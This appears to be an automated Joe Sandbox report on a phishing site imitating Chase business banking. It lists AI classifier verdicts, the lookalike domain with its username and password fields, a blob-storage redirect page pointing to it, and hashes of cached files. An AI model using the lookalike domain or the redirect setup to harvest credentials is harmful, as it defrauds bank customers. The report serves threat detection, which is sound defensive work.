URL: https://online.access.secure001.chase-business.com... Model: Joe Sandbox AI	```json { "risk_score": 1, "reasoning": "The provided JavaScript snippet is a part of the jQuery library, which is a widely used and reputable open-source library for DOM manipulation and event handling. The code does not exhibit any high-risk behaviors such as dynamic code execution, data exfiltration, or redirects to malicious domains. It primarily focuses on defining utility functions and extending jQuery's functionality. There are no interactions with external domains or obfuscated code present. Therefore, it is considered low risk." }
/! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t\|\|r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?l[c.call(e)]\|\|"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|g(a)\|\|(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)\|\|(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"!==c.call(e))&&(!(t=i(e))\|\|"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n\|\|0===t\|\|"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;r
URL: https://online.access.secure001.chase-business.com/secure/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://online.access.secure001.chase-business.com/secure/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Username", "Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Model: Joe Sandbox AI	{ "brands": [ "Chase" ] }
	{ "brands": [ "Chase" ] }
URL: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Model: Joe Sandbox AI	```json{ "legit_domain": "chase.com", "classification": "wellknown", "reasons": [ "The brand 'Chase' is a well-known financial institution.", "The legitimate domain for Chase is 'chase.com'.", "The provided URL 'online.access.secure001.chase-business.com' contains additional subdomains and hyphens, which are common indicators of phishing.", "The presence of 'secure001' and 'business' in the URL is suspicious and not typical for Chase's legitimate URLs.", "Financial institutions like Chase are common targets for phishing attacks, especially with login fields like 'Username' and 'Password'." ], "riskscore": 9} Google indexed: False
URL: online.access.secure001.chase-business.com Brands: Chase Input Fields: Username, Password

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

Chrome Cache Entry: 100

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 54, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3170
Entropy (8bit):	7.934630496764965
Encrypted:	false
SSDEEP:	96:c2ZEPhMXQnPkVrTEnGD9c4vnrmBYBaSfS18:c2/XQnPGroGD9vvnXVaq
MD5:	9D73B3AA30BCE9D8F166DE5178AE4338
SHA1:	D0CBC46850D8ED54625A3B2B01A2C31F37977E75
SHA-256:	DBEF5E5530003B7233E944856C23D1437902A2D3568CDFD2BEAF2166E9CA9139
SHA-512:	8E55D1677CDBFE9DB6700840041C815329A57DF69E303ADC1F994757C64100FE4A3A17E86EF4613F4243E29014517234DEBFBCEE58DAB9FC56C81DD147FDC058
Malicious:	false
Reputation:	low
URL:	https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png
Preview:	.PNG........IHDR.......6.....%.`....)IDATx..].pT..>.l......b..(Hv7 D7.n.8....V..H_.R;S.hY`w.(...N_R."0`.-.A..\|.N..`....n..{.&..l.o..;.....a....d..$.................J.1......7+.c...o..T/.~V.r.....D..G.Ic.....E_.FUR.&..U%...X.4!!Q.H";......e(Ic...$..."1..jR[.L..../Ek.}AH...W.L.V....Y..S..q...!._r.D....G,%...Hu.$q..\.j.x...G.....]....B.i.I.+B.....Hu.....Q...K;...J.q..._......_.x....A:......j....:c...^.....k=GIj..Y]B.V..m...Y.\....$..!....+.R%..U/;p.....R4.g.R...XH.3%..JHHby.eqOZdnS..$.. ....dn...$.w....E.o.8...b@.z.)5.L4\|.F...9......pP.8.\|....-.M..:..ux...7.]...'..(q..~.....KQ.W..,b..L<.Y.].V+....t4.$.V.O.....D.5..v.j...Hd.M....z.......V..q.p.......;:.J.%2.G.;./.E...!.H. ..../Dk.8.T....+..%Vs4..DC.R.`..Z..........0.[)N!.....%.>&.b.$.M....P.!...!....'Kv..Nd...mvR.:.L....w..y%.i..H..u....s.Se1.[.)."..)%.I.....(.#M..4.@....#.....X..P<...k..g....O..I..>-...'._.Q..T.y.=Z.GR{]..&t}......>J..!,..X6.HC..$.:.}..z...._b.b.4.E.....;.Ha.?s.

Chrome Cache Entry: 101

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 102

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	27641
Entropy (8bit):	5.573976695441575
Encrypted:	false
SSDEEP:	192:ocbBXTbrhho+7ySzhY7UVbqGIwVjqwKYqipd5HwBsIwAhuoxQ1VohjQ/VbqGIwVU:H1/5qY1YtT6qYivxTAqYMH
MD5:	2118F868FAE723EBC0C0674E8649E123
SHA1:	6A7759DD79CF76D2141585D0D6880DF9F0DF6FDB
SHA-256:	D9913CCE1102236ACD2DCBC26F0CD7A59C818F315B659704987AFBFA5BD46573
SHA-512:	2182404F2B47C3B1CCDB1F41697E9598459D63F72F7229479A464CCE220C256370D278CAF3FB48DEB0300296C25721B57199E1D9C43FA505DB6B4AE4348D2246
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css?family=Google+Sans_old:300,400,500,700"
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ armenian /.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPiIUvaYr.woff2) format('woff2');. unicode-range: U+0308, U+0530-058F, U+2010, U+2024, U+25CC, U+FB13-FB17;.}./ bengali /.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPiAUvaYr.woff2) format('woff2');. unicode-range: U+0951-0952, U+0964-0965, U+0980-09FE, U+1CD0, U+1CD2, U+1CD5-1CD6, U+1CD8, U+1CE1, U+1CEA, U+1CED, U+1CF2, U+1CF5-1CF7, U+200C-200D, U+20B9, U+25CC, U+A8F1;.}./ cyrillic-ext */.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_I

Chrome Cache Entry: 103

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3274), with no line terminators
Category:	downloaded
Size (bytes):	3274
Entropy (8bit):	5.390471426059042
Encrypted:	false
SSDEEP:	48:lwBrcIGsrcIGyCGnllJ1ws15Tws15QZUxzVKLCJEcouyntAu1I5nEcJyZXE1eelB:lXTMb1db1hNY/cobkcsidqg3gcIOW
MD5:	33E4EF067E8DB248F4DFB3C7F76E02B5
SHA1:	D5D5979344C1D3F41A32A180ADC849D373196B6A
SHA-256:	89E059962059032E7A140D5739E8C9C197A55D7305ABD98466C9D6D300B07A02
SHA-512:	9A1F769697EE558640C298906A933259DE20D4CD01D0D485BAEA1B7274B8F951B6D56BF5DF1E54383482970245E2CC5F71EB833EA1C89E949E6948DB56A448AE
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qcwid/excm=qaaw,qadd,qaid,qein,qhaw,qhba,qhbr,qhch,qhga,qhid,qhin/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 104

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	5237
Entropy (8bit):	5.135077316805996
Encrypted:	false
SSDEEP:	96:QgNpd3k2iN3+BE3gHWA+0ztCUEr5Go+64hvmssgipiQiiiGtlnC8otq3Ss4tJEfw:FKRNOB0g2Az5CYKZXblnC8mq3SsWJEfw
MD5:	F00E890DE19C06BFBE282D2C18C61473
SHA1:	E916175AA815D2789EE90B919205A2AB932F1C2E
SHA-256:	0A6CB1F40DD0E69DAC3C536735BCFE1FA6DE101234549DF455B7434E01F74137
SHA-512:	5B969FB2AB2CDDC76163A3EACE849AC051FF97038620CAE709DA808E1535CF927365EE9037C4D8295D0EF2468A17BFD3BA11C2B3E8EC9A3905566986FF059AB0
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/css/loader_big.css
Preview:	.....loader_big {.. position: fixed;.. top: 44%;.. right: 0;.. bottom: 0;.. left: 0;.. z-index: 9999;.. margin: 0;.. text-align: center;.. color: #cccccc;.. font-size: 14px;..}.....loader_big:before {.. content: "";.. display: block;.. margin: 0 auto 11px;.. text-align: center;.. width: 40px;.. height: 40px;.. border-left: 4px solid #000;.. border-left: 4px solid rgba(204,204,204,1);.. border-right: 4px solid #000;.. border-right: 4px solid rgba(204,204,204,1);.. border-bottom: 4px solid #000;.. border-bottom: 4px solid rgba(204,204,204,1);.. border-top: 4px solid #0092ff;.. border-radius: 51px;.. -webkit-animation: myrotate .75s infinite linear;.. -moz-animation: myrotate .75s infinite linear;.. -o-animation: myrotate .75s infinite linear;.. animation: myrotate .75s infinite linear;.. -webkit-box-sizing: unset;.. -moz-box-sizing: unset;.. box-sizing: unset;..}.....loader_big:after {.. content: '';.. position: fixed;.. z-index: -1;.. top: 0;.. right:

Chrome Cache Entry: 105

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
Reputation:	low
URL:	https://ssl.gstatic.com/docs/common/cleardot.gif?zx=qao5hjcr7i7p
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 106

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	134
Entropy (8bit):	4.86022554453699
Encrypted:	false
SSDEEP:	3:UREHjJqhJu+1zWatIyGMHHXwVUbHcWWLXExp7Hitn:jqhJVCatYMAVUb2LXSzit
MD5:	8AEB07A8B03E480B34EE468AA3152291
SHA1:	A84E820D21F3DD13740665C2FEB13B6A1A1DECBE
SHA-256:	85A5257C151BC011A7BA4248DD40DCF0DCB1C492DD020367E3B0BEEE51585C9C
SHA-512:	AA43F68575CEFF3AA8DF19C986E77AFF4C7A3815455C29687C33962BE04CF34071B285FB545D6C1D30819DE666A8FB3854CE08A1B77A04569156453D7D3FB5C9
Malicious:	false
Reputation:	low
URL:	https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2
Preview:	<head>..<meta http-equiv="Refresh" content="0; url='https://online.access.secure001.chase-business.com/?ref=trush39dh3sc'" />..</head>

Chrome Cache Entry: 107

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1170)
Category:	downloaded
Size (bytes):	209242
Entropy (8bit):	5.525486724811298
Encrypted:	false
SSDEEP:	6144:y2vAXZ8wuXFb5CcdsvyvTmfi7OxDP1Bm5G:pAXiwib5Ccdky57S
MD5:	2D5977E5451D9CB3C5F83DAC50A2F8EF
SHA1:	B91600576EA9602E509B691B8C8DCA92680467B6
SHA-256:	34E479671BA6D41D87BD292162ECBA4E51A1897E4CB112C4C9DE054EF8930FFA
SHA-512:	51B14B36E0C442C56A9C0CC7B28FEBF3765DD15BE80B5B339A1AC7B8427D5EBFDBFA337DFC55AA40A8A985E7B1286C4D2D519B2AAA728AD8289BEA76BADA1866
Malicious:	false
Reputation:	low
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_1"
Preview:	gapi.loaded_1(function(_){var window=this;._.Bg=(window.gapi\|\|{}).load;._.Tn=_.Be(_.Me,"rw",_.Ce());.var Un=function(a,b){(a=_.Tn[a])&&a.state<b&&(a.state=b)};var Vn=function(a){a=(a=_.Tn[a])?a.oid:void 0;if(a){var b=_.ye.getElementById(a);b&&b.parentNode.removeChild(b);delete _.Tn[a];Vn(a)}};_.Wn=function(a){a=a.container;typeof a==="string"&&(a=document.getElementById(a));return a};_.Xn=function(a){var b=a.clientWidth;return"position:absolute;top:-10000px;width:"+(b?b+"px":a.style.width\|\|"300px")+";margin:0px;border-style:none;"};._.Yn=function(a,b){var c={},d=a.xc(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e\|\|(e=d.width\|\|a.width);f\|\|(f=d.height\|\|a.height);d.width=c.width=e;d.height=c.height=f;d=a.getIframeEl();e=a.getId();Un(e,2);a:{e=a.getSiteEl();c=c\|\|{};var k;if(_.Me.oa&&(k=d.id)){f=(f=_.Tn[k])?f.state:void 0;if(f===1\|\|f===4)break a;Vn(k)}(f=e.nextSibling)&&f.dataset&&f.dataset.gapistub&&(e.parentNode.removeChild(f),e.style.cssText="");f=c.width;h=c.

Chrome Cache Entry: 108

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	273703
Entropy (8bit):	7.972604775437503
Encrypted:	false
SSDEEP:	6144:7t3lojDmWSmJPMxANe5VFNbalPDGlSqeYVKH3R0MeNHX2jBG5:7tVojQCPwUe3Ts7mSqeRSNHGlG5
MD5:	03F5C8F677084A68E156168BD0B9BE4A
SHA1:	96C30B767D2729C6473F74067FF23634F1F00099
SHA-256:	35B3566CE2EDC9F9985D59D62EB26FE3DA2E2C55C2E3DA19CF1E385EE4F81B76
SHA-512:	984A95D33B187708A695741DA509D41D220081421BBD9D41EF41222BBDE925199F119935157317D2664A53E9258782C37607CCC2B090055FF9A72D053CDECED7
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/background.desktop.90018.jpeg
Preview:	......JFIF.............C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;......8...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....e....3E%..h.%%..h......(.Rf...'4..P.f...S.2h..b...2i1J(.....%% ..4....vh.h4RP.E...f...I..vM!&.4f...sFh.0.(......n.dP!..!...3..(=)r=i2.z.e'5&.i.(...\.E!.!sFi....p....Q..u/zL...(...r(...m;.Q@..I.....F*C....)x...JA...f....v.S.Gj..d.NiE.....(..)i6.Q.Z..c.Z)..{QN...i..;..?..L.6.Z6.!h...4.R...(.b.K.zL..;Q.3Fh.c.1Fh.v..(.V.:QG...........Fh.;.Fh.@....IN.0.Lu...#+H

Chrome Cache Entry: 109

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
Reputation:	low
URL:	https://ssl.gstatic.com/docs/common/cleardot.gif?zx=c94ibbzbd13b
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 110

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 70296, version 0.0
Category:	downloaded
Size (bytes):	70296
Entropy (8bit):	6.426347356988083
Encrypted:	false
SSDEEP:	1536:QAQEr8GkYSPBiCfIupU7cNtfeBkHW0Mj78EmMmB7K2OYAvA2rXjItVqfk+9m4uKE:QAQEr8Gk1PYCfIWU7cNtfeBkHWp78Em7
MD5:	2EC43BFFA4424B28D0CC96B37CCA33A4
SHA1:	1CDE2661FB95ECE87155C7931D5DA6911331EF43
SHA-256:	6EA71F4189E78297E3D1834C586A10DD39826ED8361CB1268B847CEF45E03CB1
SHA-512:	534AFD7E5AD60682F0A3D80388ACED86F5C328D12976E59131C7044A0702BC368CD1FDF7CE653F51489D7E87A62BF01A11ADBEF7581C8A732274E0B81A6A7DB1
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/fonts/dcefont.woff
Preview:	wOFF...............L........................OS/2.......`...`...`cmap...h..........gasp...4............glyf...<........k...head.......6...6%..ahhea...L...$...$....hmtx...p.........;8.loca..............ILmaxp....... ... ...Aname.............J..post...x... ... ...............................3...................................@... .....@...@............... .....................................h.@...(... ."...".3.D.U.f.w.......".3.L.f.w.................#.+.-.0.5.8.;.F.L.O.................... ......... ."...".3.D.U.f.w.......".3.L.f.w.................#.).-.0.4.8.;.D.L.N.................................................t.................}.........!.........................4...;....................................................................................................................................................79..................79..................79.................8.X..."'..'&547>.7632............."............327>.7654'..'&#.#54&#"...#"....;....326=.32654&..eXX

Chrome Cache Entry: 111

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 34184, version 1.0
Category:	downloaded
Size (bytes):	34184
Entropy (8bit):	7.99444009565784
Encrypted:	true
SSDEEP:	768:8pJf8lXHzTyT3P9QWCHmzL3WbHPBBWQfIKkydgMbG48B/u:u0lDTyrKWCHeL3OBDwKdmp9u
MD5:	1ACA735014A6BB648F468EE476680D5B
SHA1:	6D28E3AE6E42784769199948211E3AA0806FA62C
SHA-256:	E563F60814C73C0F4261067BD14C15F2C7F72ED2906670ED4076EBE0D6E9244A
SHA-512:	808AA9AF5A3164F31466AF4BAC25C8A8C3F19910579CF176033359500C8E26F0A96CDC68CCF8808B65937DC87C121238C1C1B0BE296D4306D5D197A1E4C38E86
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPjIUvQ.woff2
Preview:	wOF2..............X......................................4?HVAR.k.`?STAT..'...J/<.....`..(..Z.0..N.6.$.... .....K..[O;q..w....z.....%.O.t'.R....6.{..@.k......C.B..Z.uU.}..!.".....]jK.`&.\..4...US.......x..C...1g.:.+.?.t<....J...C.p.c..J...........V..H1.6.~..n.]~"R>..s....7....FE1.S/m....}..<....M..IHB.._8.d.3"......8..t.;f._~X.A.&n.1..t..v...n.._............eS.......!V."v6.xm\|M..O.z..,....,...N.1......y^7...^^.$.!.$<V..B....."j..!2..Y"..{w!..Z.[...]H....M-.".8j.<..X.[{..UI....ML.J.?4B.....]..4..()^Bi.4iD/..]....../I.-.J[D...........c...)63.U.rFpW5}.9$..2...t..:.MW.c.N...lK...3^......./..v. !...;..v.w./^S...\U....\|.......Y9...a.z.....i..$J.U...Ks....0Q.........iy.....M..@..........&..c.kh.(<.O.....~..#.-.gfw.t...nbo...]0'G.!.2.8....y.K..;%......_).W..?.'.DTR.H....G.Al..d......g>.6..(.."4l...3$...\_.W}..R...\.o........`..q...@XG.wpN......!....&...\.&.....N..5..n......g..bR......HV...s...e..r.0ty&.SW.j.{I...".m .s..T....l....@th:..aM.

Chrome Cache Entry: 112

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2460
Entropy (8bit):	4.287362332837082
Encrypted:	false
SSDEEP:	48:GDFsHeTqFTY1jmTsA1qeHLyL3t+slos8OFi7oSkRwpaldS8S25I7a:GRbYUdeHLyL31Ws8OxRhJ
MD5:	480728D998ED85B9297534074C88A8EB
SHA1:	3BF39A922DFA1C6925FEC04A3C2E931B3EA4D4A5
SHA-256:	77695127BBAFB4DD5CFB44F958BB0BF6390D64F43CAEC259487858079D0ABC61
SHA-512:	A7567B51CAE29FBAFFF19FFB1154E38DF9395D25D38908A12CB7239A66C5EA1B1E83F2C375832B45445C1294E0E2D268EA9F854E0E28E04DC816F262219A0700
Malicious:	false
Reputation:	low
URL:	https://blobcomments-pa.clients6.google.com/v1/metadata?docId=1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO&revisionId=0By1c2mK6T545WGJDZUpIeFIzbHdUMlcrTjF0eE5SdnY3djQwPQ&userLocale=en&timeZoneId=Etc%2FGMT%2B5&documentResourceKey.resourceKey&forceImportEnabled=true&key=AIzaSyCMp6sr4oTC18AWkE2Ii4UBZHTHEpGZWZM&%24unique=gc797
Preview:	{. "serializedDocosKeyData": "[null,null,0,null,null,null,null,1,[\"Anonymous\",null,\"//ssl.gstatic.com/docs/common/blue_silhouette96-0.png\",\"ANONYMOUS_105250506097979753968\",1,null,1,null,1],1,\"AAHRpnXv4WzWeh7vCFjR6epCeiDuJPV_Z-LBenC4kFf8ZUKADbIdYOomVUrX_c47VgoSiGSX2v1r9-Lhc1pqiWUmO35ZW6FhIcA\",null,null,null,null,null,1,null,null,1,null,null,null,null,1,0,null,null,null,0,null,null,0,null,null,null,null,1,0,null,null,null,null,[\"tf\",60000,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,0,0,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,0,0,null,null,null,1,null,null,null,null,null,null,0,null,null,\"\",null,0,null,null,null,null,0],[[5703839,5704621,5704745,5705891,5707899,5711538,5712270,5712639,5712647,5713195,5714051,5737800,5792878,5799034,48966262,49375342,49472091,49622751,49623141,49643716,49643963,49769385,49822889,49823

Chrome Cache Entry: 113

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2410)
Category:	dropped
Size (bytes):	218287
Entropy (8bit):	5.5229838275997345
Encrypted:	false
